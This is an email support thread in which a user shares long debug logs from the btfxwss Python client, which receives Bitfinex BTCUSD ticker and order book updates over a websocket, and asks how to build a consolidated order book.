0.01464493], [1365.3, 1, 13.28683806], [1365.2, 1, 0.74], [1365.1, 2,
0.12824296], [1372.7, 2, -0.8658], [1372.8, 1, -0.18], [1373, 1, -6.75],
[1373.1, 1, -0.75], [1373.3, 1, -2], [1373.4, 1, -1.67853277], [1374.5, 1,
-0.75], [1375, 1, -0.05], [1375.8, 1, -0.536], [1375.9, 1, -0.75], [1376.1,
1, -0.3753712], [1376.2, 1, -1.52057143], [1376.4, 1, -4.86], [1376.8, 1,
-0.1], [1376.9, 3, -10.25], [1377, 1, -20], [1377.3, 1, -0.75], [1377.4, 2,
-0.91936703], [1377.8, 1, -3], [1377.9, 1, -9], [1378, 3, -14.41710597],
[1378.5, 2, -10.58312087], [1378.7, 3, -10.85], [1378.9, 1, -5.25], [1379,
7, -34.22]]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.8300276,
[5, [1371.2, 0, 1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.8350308,
[5, [1371.4, 1, 1.255]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.8401406,
[5, [1371, 1, 0.4326]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.8401406,
[5, [1379, 0, -1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.8401406,
[5, [1372.6, 1, -0.7658]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.8401406,
[5, [1372.7, 1, -0.1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.0746417,
[5, [1365.1, 0, 1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.079645,
[5, [1371.3, 1, 0.1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.0846484,
[5, [1372.7, 0, -1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.0996566,
[5, [1379, 7, -34.22]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.3391716,
[5, [1371.4, 0, 1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.3441753,
[5, [1365.2, 0, 1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.3491783,
[5, [1371.5, 1, 1.245]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.3491783,
[5, [1371.1, 1, 1.378]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.3491783,
[5, [1376.2, 0, -1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.3491783,
[5, [1372.6, 1, -0.1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.3491783,
[5, [1372.7, 1, -0.7658]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.3952088,
[1, [1371.4, 1.245, 1372.7, 0.18, 31.4, 0.0234, 1373, 8341.9640492, 1378.5,
1330.2]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.6243615,
[5, [1371.5, 0, 1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.6293647,
[5, [1365.2, 1, 0.74]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.634523,
[5, [1375.8, 2, -2.05503718]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.857675,
[5, [1371.3, 0, 1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.8626783,
[5, [1371, 0, 1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.8676817,
[5, [1371.6, 1, 1.261]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.872685,
[5, [1371.4, 2, 1.6846]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.8876927,
[5, [1372.6, 0, -1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.902702,
[5, [1379.1, 2, -3.6]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.1230245,
[5, [1371.1, 0, 1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.1280282,
[5, [1371.2, 1, 0.1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.1280282,
[5, [1379.1, 0, -1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.1280282,
[5, [1372.5, 1, -0.1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.4095461,
[5, [1371.6, 0, 1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.4145503,
[5, [1371.4, 0, 1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.4195557,
[5, [1371.5, 1, 1.291]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.4245586,
[5, [1371.2, 1, 0.4326]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.4295623,
[5, [1365.1, 2, 0.12824296]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.4345655,
[5, [1372.5, 0, -1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.4495733,
[5, [1379.1, 2, -3.6]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.6379294,
[5, [1371.2, 0, 1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.642933,
[5, [1371.5, 2, 1.391]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.647936,
[5, [1371, 1, 0.4326]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.6579404,
[5, [1372.8, 1, -0.1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.9022577,
[5, [1365.2, 0, 1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.9072611,
[5, [1365.1, 0, 1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.9072611,
[5, [1371.7, 1, 1.35]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.9072611,
[5, [1371.5, 1, 0.1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.9072611,
[5, [1371.3, 1, 1.359]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.9072611,
[5, [1372.8, 0, -1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.9122653,
[5, [1379.2, 1, -0.1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.160543,
[5, [1371.5, 0, 1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.1655471,
[5, [1371, 0, 1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.1655471,
[5, [1371.4, 1, 0.4326]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.1655471,
[5, [1365.2, 1, 0.74]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.1655471,
[5, [1372.7, 0, -1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.1655471,
[5, [1379.6, 1, -11.17]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.4157145,
[5, [1371.7, 0, 1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.4207158,
[5, [1365.2, 0, 1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.4207158,
[5, [1371.6, 1, 1.31]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.4207158,
[5, [1371.5, 1, 0.1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.4207158,
[5, [1379.2, 0, -1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.4207158,
[5, [1379.6, 0, -1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.425719,
[5, [1372.7, 1, -0.1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.4307249,
[5, [1372.9, 1, -0.7658]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.6968997,
[5, [1371.3, 0, 1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.7019053,
[5, [1371.5, 2, 1.419]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.7069082,
[5, [1365.2, 1, 0.74]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.7069082,
[5, [1372.7, 0, -1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.7069082,
[5, [1379.2, 1, -0.1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.9230494,
[1, 'hb'])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.9510682,
[5, [1371.6, 0, 1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.9560738,
[5, [1371.5, 0, 1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.9560738,
[5, [1371.8, 1, 1.297]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.9560738,
[5, [1371.4, 1, 1.309]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.9560738,
[5, [1371, 1, 0.4326]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.9560738,
[5, [1372.9, 2, -0.8658]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.1905324,
[5, [1371.8, 0, 1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.195536,
[5, [1371, 0, 1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.195536,
[5, [1371.5, 2, 0.5326]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.195536,
[5, [1365.1, 2, 0.12824296]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.195536,
[5, [1372.9, 0, -1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.195536,
[5, [1372.8, 1, -0.7658]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.4501731,
[5, [1371.4, 0, 1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.455176,
[5, [1371.9, 1, 1.356]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.4601772,
[5, [1371.5, 1, 0.4326]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.4651809,
[5, [1379.2, 0, -1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.470186,
[5, [1372.9, 1, -0.1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.7463672,
[5, [1371.9, 0, 1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.7513704,
[5, [1365.1, 0, 1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.7513704,
[5, [1371.6, 1, 1.256]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.7513704,
[5, [1371.5, 1, 0.1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.7513704,
[5, [1371, 1, 0.4326]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.7513704,
[5, [1372.9, 0, -1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.7513704,
[5, [1379.2, 1, -0.1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.991614,
[5, [1371.5, 0, 1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.9966176,
[5, [1365.1, 2, 0.12824296]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.0016208,
[5, [1379.2, 0, -1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.0016208,
[5, [1372.9, 1, -0.1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.2676504,
[5, [1365.2, 0, 1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.272651,
[5, [1365.1, 0, 1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.272651,
[5, [1372.6, 1, 0.12165364]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.2776544,
[5, [1371.5, 1, 0.1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.2926667,
[5, [1372.9, 0, -1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.2976675,
[5, [1379.2, 1, -0.1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.5441327,
[5, [1371.6, 0, 1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.549136,
[5, [1371.5, 0, 1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.5541396,
[5, [1371.1, 1, 1.247]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.5694227,
[5, [1365.2, 1, 0.74]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.5744274,
[5, [1379.2, 0, -1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.5846195,
[5, [1372.8, 1, -0.1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.58962,
[5, [1372.9, 1, -0.7658]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.7618928,
[5, [1371, 0, 1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.766896,
[5, [1365.2, 0, 1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.7720876,
[5, [1371.8, 1, 0.1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.7770936,
[5, [1371.2, 1, 0.4326]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.7820983,
[5, [1372.8, 0, -1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.7820983,
[5, [1379.2, 1, -0.1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.0182528,
[5, [1371.8, 0, 1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.023256,
[5, [1365.2, 1, 0.74]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.033265,
[5, [1373.1, 2, -0.85]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.276425,
[5, [1365.3, 0, 1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.2814283,
[5, [1365.2, 0, 1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.2864318,
[5, [1371.8, 1, 0.1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.291435,
[5, [1371.7, 1, 1.276]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.3444705,
[1, [1372.6, 0.12165364, 1372.9, 0.7658, 31.4, 0.0234, 1373, 8341.95165264,
1378.5, 1330.2]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.5285938,
[5, [1371.8, 0, 1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.5335963,
[5, [1365.3, 1, 13.28683806]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.5385995,
[5, [1372.9, 0, -1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.5385995,
[5, [1376.1, 0, -1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.5385995,
[5, [1376.3, 1, -0.3753712]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.5385995,
[5, [1379.6, 1, -11.17]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.7840092,
[5, [1371.1, 0, 1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.7840092,
[5, [1371.8, 1, 0.1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.7850056,
[5, [1367.6, 3, 2.46798549]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.7850056,
[5, [1373.1, 1, -0.75]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.0553422,
[5, [1371.8, 0, 1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.060345,
[5, [1371.2, 0, 1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.065351,
[5, [1371, 1, 0.4326]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.0703545,
[5, [1365.2, 1, 0.74]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.0753574,
[5, [1379.6, 0, -1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.0803587,
[5, [1372.9, 1, -0.7658]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.0903678,
[5, [1373.1, 2, -0.85]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.302612,
[5, [1365.2, 0, 1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.3076155,
[5, [1372.7, 1, 1.377]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.3126192,
[5, [1373.1, 1, -0.75]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.5680132,
[5, [1371.7, 0, 1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.5730166,
[5, [1371, 0, 1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.5730166,
[5, [1371.9, 1, 0.1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.5730166,
[5, [1371.8, 1, 0.4326]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.5730166,
[5, [1372.9, 0, -1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.5740175,
[5, [1373, 2, -6.85]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.5740175,
[5, [1379.6, 1, -11.17]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.8112931,
[5, [1372.7, 0, 1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.8162973,
[5, [1371.9, 0, 1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.8212993,
[5, [1372.9, 1, 0.0587439]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.841315,
[5, [1371.6, 1, 0.05871132]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.8563228,
[5, [1373, 1, -6.75]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.0854757,
[5, [1371.8, 0, 1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.0904782,
[5, [1365.3, 0, 1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.0904782,
[5, [1372, 1, 0.1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.0904782,
[5, [1371, 1, 0.4326]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.0914817,
[5, [1373.3, 2, -2.1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.347865,
[5, [1372, 0, 1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.3528678,
[5, [1371, 0, 1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.357869,
[5, [1372.7, 1, 1.302]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.3628726,
[5, [1371.7, 1, 0.4326]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.3728786,
[5, [1373.3, 1, -2]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.5961354,
[5, [1365.6, 0, 1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.6011374,
[5, [1371.9, 1, 0.1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.6011374,
[5, [1373.3, 2, -2.1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.8575523,
[5, [1371.9, 0, 1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.8675587,
[5, [1372, 1, 0.1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.916592,
[1, 'hb'])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.624182,
[5, [1376.4, 0, -1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.6391919,
[5, [1379.8, 4, -0.39915247]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.8813517,
[5, [1372.6, 0, 1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.8863533,
[5, [1372, 0, 1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.891358,
[5, [1371.6, 2, 0.18036496]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.89636,
[5, [1365.6, 1, 0.01464493]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.9063666,
[5, [1365.3, 1, 13.28683806]])
INFO:btfxwss.classes:BtfxWss.stop(): Stopping client..
INFO:btfxwss.classes:BtfxWss.stop(): Joining receiver thread..
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.1183722,
[5, [1365.3, 0, 1]])
INFO:btfxwss.classes:BtfxWss.stop(): Joining processing thread..
INFO:btfxwss.classes:BtfxWss.stop(): Closing websocket conection..
INFO:btfxwss.classes:BtfxWss.stop(): Done!
INFO:btfxwss.classes:BtfxWssRaw.stop(): Joining rotator thread..
INFO:btfxwss.classes:BtfxWssRaw.stop(): Done!

i am probably getting data now it seems.
how to get consolidated order book.
Regards,
Nitin Gupta
9731423808
On Tue, Apr 25, 2017 at 11:32 PM, Nitz Gupta<EMAIL_ADDRESS>wrote:

i have attached the file in the mail itself.
i uninstalled and reinstalled the git today again some time back.
INFO:btfxwss.classes:BtfxWss.start(): Initializing Websocket connection..
INFO:btfxwss.classes:BtfxWss.start(): Initializing receiver thread..
INFO:btfxwss.classes:BtfxWss.start(): Initializing processing thread..
INFO:btfxwss.classes:BtfxWss.start(): Initializing rotator thread..
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.0510244,
{'version': 2, 'event': 'info'})
INFO:btfxwss.classes:handle_response: Handling response {'version': 2,
'event': 'info'}
DEBUG:btfxwss.classes:_subscribe: {'channel': 'ticker', 'event':
'subscribe', 'symbol': 'BTCUSD'}
DEBUG:btfxwss.classes:_subscribe: {'channel': 'book', 'event':
'subscribe', 'symbol': 'BTCUSD'}
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.3776097,
{'chanId': 1, 'pair': 'BTCUSD', 'channel': 'ticker', 'event': 'subscribed',
'symbol': 'tBTCUSD'})
INFO:btfxwss.classes:handle_response: Handling response {'chanId': 1,
'pair': 'BTCUSD', 'channel': 'ticker', 'event': 'subscribed', 'symbol':
'tBTCUSD'}
DEBUG:btfxwss.classes:_handle_subscribed: 1 - ticker - {'pair': 'BTCUSD',
'event': 'subscribed', 'symbol': 'tBTCUSD'}
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.3826127,
[1, [1371.6, 1.37, 1372.4, 0.7658, 31.4, 0.0234, 1373, 8341.9640492,
1378.5, 1330.2]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.3926194,
{'event': 'pong'})
INFO:btfxwss.classes:handle_response: Handling response {'event': 'pong'}
INFO:btfxwss.classes:BtfxWss.ping(): Ping received! (0.34246087074279785s)
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.571859,
{'len': '25', 'pair': 'BTCUSD', 'channel': 'book', 'freq': 'F0', 'chanId':
5, 'event': 'subscribed', 'symbol': 'tBTCUSD', 'prec': 'P0'})
INFO:btfxwss.classes:handle_response: Handling response {'len': '25',
'pair': 'BTCUSD', 'channel': 'book', 'freq': 'F0', 'chanId': 5, 'event':
'subscribed', 'symbol': 'tBTCUSD', 'prec': 'P0'}
DEBUG:btfxwss.classes:_handle_subscribed: 5 - book - {'len': '25',
'pair': 'BTCUSD', 'symbol': 'tBTCUSD', 'event': 'subscribed', 'freq': 'F0',
'prec': 'P0'}
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.5778627,
[5, [[1371.4, 2, 1.355], [1371.2, 1, 0.4326], [1370.9, 1, 1.722], [1370.3,
1, 0.75], [1370, 1, 4.60605991], [1368.9, 1, 0.75], [1368.6, 2, 0.3],
[1368.5, 1, 0.020016], [1368.1, 1, 0.1], [1368, 1, 0.2], [1367.8, 2,
2.011721], [1367.6, 3, 2.46797008], [1367.5, 1, 0.75], [1367.2, 1, 0.1],
[1367.1, 1, 0.1], [1367, 1, 0.72], [1366.9, 1, 2], [1366.5, 2, 2.76855804],
[1366.1, 4, 1.03896], [1366, 2, 0.2], [1365.8, 1, 0.7625], [1365.6, 1,
0.01464493], [1365.3, 1, 13.28683806], [1365.2, 1, 0.74], [1365.1, 2,
0.12824296], [1372.7, 2, -0.8658], [1372.8, 1, -0.18], [1373, 1, -6.75],
[1373.1, 1, -0.75], [1373.3, 1, -2], [1373.4, 1, -1.67853277], [1374.5, 1,
-0.75], [1375, 1, -0.05], [1375.8, 1, -0.536], [1375.9, 1, -0.75], [1376.1,
1, -0.3753712], [1376.2, 1, -1.52057143], [1376.4, 1, -4.86], [1376.8, 1,
-0.1], [1376.9, 3, -10.25], [1377, 1, -20], [1377.3, 1, -0.75], [1377.4, 2,
-0.91936703], [1377.8, 1, -3], [1377.9, 1, -9], [1378, 3, -14.41710597],
[1378.5, 2, -10.58312087], [1378.7, 3, -10.85], [1378.9, 1, -5.25], [1379,
7, -34.22]]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.8300276,
[5, [1371.2, 0, 1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.8350308,
[5, [1371.4, 1, 1.255]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.8401406,
[5, [1371, 1, 0.4326]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.8401406,
[5, [1379, 0, -1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.8401406,
[5, [1372.6, 1, -0.7658]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.8401406,
[5, [1372.7, 1, -0.1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.0746417,
[5, [1365.1, 0, 1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.079645,
[5, [1371.3, 1, 0.1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.0846484,
[5, [1372.7, 0, -1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.0996566,
[5, [1379, 7, -34.22]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.3391716,
[5, [1371.4, 0, 1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.3441753,
[5, [1365.2, 0, 1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.3491783,
[5, [1371.5, 1, 1.245]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.3491783,
